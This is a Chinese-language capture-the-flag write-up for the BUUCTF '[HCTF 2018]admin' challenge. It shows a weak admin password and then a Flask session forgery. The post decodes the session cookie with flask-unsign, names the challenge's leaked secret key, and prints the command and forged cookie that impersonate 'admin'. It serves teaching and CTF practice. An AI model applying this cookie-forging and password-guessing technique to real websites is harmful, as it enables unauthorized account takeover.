题目链接:https://buuoj.cn/challenges#[HCTF 2018]admin
打开题目后如下所示。
右上方有一个菜单,存在登陆模块,尝试使用 admin 登陆,对密码进行爆破,发现密码为 123,随即获得 flag。
但实际上,该题的真正考点并不是弱密码。
访问环境默认页面,在页面源代码处发现提示 "you are not admin"。
在注册了账户后,发现菜单中多了 "post" 与 "change" 功能,访问 "change" 页面,页面源代码如下。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>change</title>
<link rel="stylesheet" href="//cdn.bootcss.com/semantic-ui/2.1.8/semantic.min.css">
<link rel="stylesheet" href="/static/css/style.css">
<script src="//cdn.bootcss.com/jquery/1.11.3/jquery.min.js"></script>
<script src="//cdn.bootcss.com/semantic-ui/2.1.8/semantic.min.js"></script>
</head>
<body>
<div class="nav">
<div class="ui grid">
<div class="four wide column"></div>
<div class="eight wide column">
<a href="/posts"><h1>change</h1></a>
</div>
</div>
</div>
<div class="nav-setting">
<div class="ui buttons">
<div class="ui floating dropdown button">
<i class="icon bars"></i>
<div class="menu">
<a class="item" href="/index">index</a>
<div class="divider"></div>
<a class="item" href="/edit">post</a>
<a href="/change" class="item">change password</a>
<a class="item" href="/logout">logout</a>
</div>
</div>
</div>
</div>
<div class="ui grid">
<div class="four wide column"></div>
<div class="eight wide column">
</div>
</div>
<div class="ui grid">
<div class="four wide column"></div>
<div class="eight wide column">
<!-- https://github.com/woadsl1234/hctf_flask/ -->
<form class="ui form segment" method="post" enctype="multipart/form-data">
<div class="field required">
<label>NewPassword</label>
<input id="newpassword" name="newpassword" required type="password" value="">
</div>
<input type="submit" class="ui button fluid" value="更换密码">
</form>
</div>
</div>
<script type="text/javascript">
$(document).ready(function () {
// 点击按钮弹出下拉框
$('.ui.dropdown').dropdown();
// 鼠标悬浮在头像上,弹出气泡提示框
$('.post-content .avatar-link').popup({
inline: true,
position: 'bottom right',
lastResort: 'bottom right'
});
})
</script>
</body>
</html>
发现,有一个 github 项目地址:https://github.com/woadsl1234/hctf_flask/(目前该项目已经打不开了)。
发现该项目名有 "flask" 字样,猜测后端使用的是 Python 的 Flask 框架。
在登录后,通过抓取网页请求包,可以发现 session 内容,如下。
GET /index HTTP/1.1
Host: cdea92f1-b4d3-4ee8-8851-674daf12f9ca.node5.buuoj.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.155 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=.eJw9kEGLwjAQhf_KMmcPGtuL4GEhtVSYFCVtSS5Sa22bNC5UpTXif99ZWTwMDO-9-eDNEw7nob62sLoN93oGh-4Eqyd8HWEFqtgF2kVeeNHreO80rx7I9k55G9K-FLFaYixaNJYJ2Xghs1DLiCmWMOGTEH02arntFNu06Dat8FujjQpUQTqxlEk88ipAnreUM4Jlo3C7B5q8J_acuIGSmy79y8hq0jy3aYGUtzQ4prIhTjRhnK3hNYPqOpwPtx9bXz4VBO8d1QiRCZtKYVWxNan8ptPIK5-MyEnnfYu8mahmp3m2UOP6jetc2dQf0inuS_3vXEpHBpQn110WbAkzuF_r4f06WMzh9Qu60W4-.ZxxnVw.ZjcWyEbU7eP9g9FWNBP5qBoa5Pw
Connection: keep-alive
而 Flask 是非常轻量级的 Web 框架 ,其 session 存储在客户端中,也就是说其实只是将相关内容进行了加密保存到 session 中。和服务端的 session 不同,服务端的 session 保存在服务端中,依靠客户端 Cookie 值中的 sessionId 来进行识别。 也就是说,在本题中,可以通过更改 session 里面的用户名为 admin,实现伪造 admin 登录。
通过工具:Flask-Unsign(https://github.com/Paradoxis/Flask-Unsign)可以解密 session。
flask-unsign --unsign --cookie ".eJxNkMGKgzAQhl9lmXMPJtqL0JsaLEzEblSSS-laW43GBW2xTem7b9qFZQ8Dw_wf3zDzgP1pauYWwst0bVaw744QPuDjC0KQVR4oE1tu-aDYzqioviPdGWn7tet9zqSPjLeoe8rF2XJRrJWIqaQp5TZdoy0WJbadpEmLJmm53WqlZSArN3cuqVOLUR1gVLaO05wWCzf5HXU5OLfnvIEUSZe9GFHfVFT2WYWO713hkomz88Q3ZMUGniuo5-m0v3z3zfjvBGWUyMkLRRYvbh3JWEyyKPXRoMdtOWQs9dBioCqnZDnBfPPWdeZwbv5Mgib6c_lNxoNxARyOphsJ9WEF17mZ3q8D4sHzBzQebHM.ZxyA6w.Kcu4srF-pOmYR_3EvCbWTB7Qtcc"
[*] Session decodes to: {'_fresh': True, '_id': b'ad8fa373eddfd723dfc99d774f70ca296583559e16cb6729350e2bcaa2aa72cf68ae0d72b2307805ae2c7e06d225e4f4298a1b878171d5d9c8098030980d110e', 'csrf_token': b'affe459800a00758a58272c475e8b4338ec08d51', 'image': b'OacK', 'name': 'admin123', 'user_id': '10'}
但是将 name 设置为 "admin",并伪造 session 时,需要 key,笔者这里尝试了 Flask-Unsign 的默认字典进行爆破,失败了。查看了一下其他师傅的 writeup,发现 key 在已经失效了的 github 项目(https://github.com/woadsl1234/hctf_flask/)的源码里,因此这里直接给出 key:ckj123。
使用该 key 直接生成新的 session,并替换原请求包中的 session。
flask-unsign --sign --secret "ckj123" --cookie "{'_fresh': True, '_id': b'ad8fa373eddfd723dfc99d774f70ca296583559e16cb6729350e2bcaa2aa72cf68ae0d72b2307805ae2c7e06d225e4f4298a1b878171d5d9c8098030980d110e', 'csrf_token': b'affe459800a00758a58272c475e8b4338ec08d51', 'image': b'OacK', 'name': 'admin', 'user_id': '10'}"
.eJxNkMGKgzAQhl9lmbMHjfYi9KYGCxOxG5XkIl1r1di4oC22KX33Tbuw7GFgmP_jG2YeUJ_mdukhvMzX1oF6OEL4gI8vCEFUeSB1bJhhZ0n3WkbNHcleCzNubO8zKnykrEc1EsY7w3ixkTwmgqSEmXSDplgl3w2CJD3qpGdmp6QSgajs3LqESg1GTYBR2VtOMVKsTOd3VOXZul3rDQRPhuzF8OYmo3LMKrT8aAvXjHfWE9-QFlt4OtAs86m-fI_t9O8EqSXPvReKNF7tOi-jsZdFqY8aXWbKc0ZTFw0GsrJKmnuYb9-6QR-69s_ESaI-199kOmgbwOGohwkcuC7t_P4beC48fwDz1Gvd.ZxyEEQ.UI_jFH226ElVgBK8MEx-DfTU7HA
成功获得 flag。
标签:admin,image,HCTF,Flask,session,2018,--,change From: https://www.cnblogs.com/imtaieee/p/18522720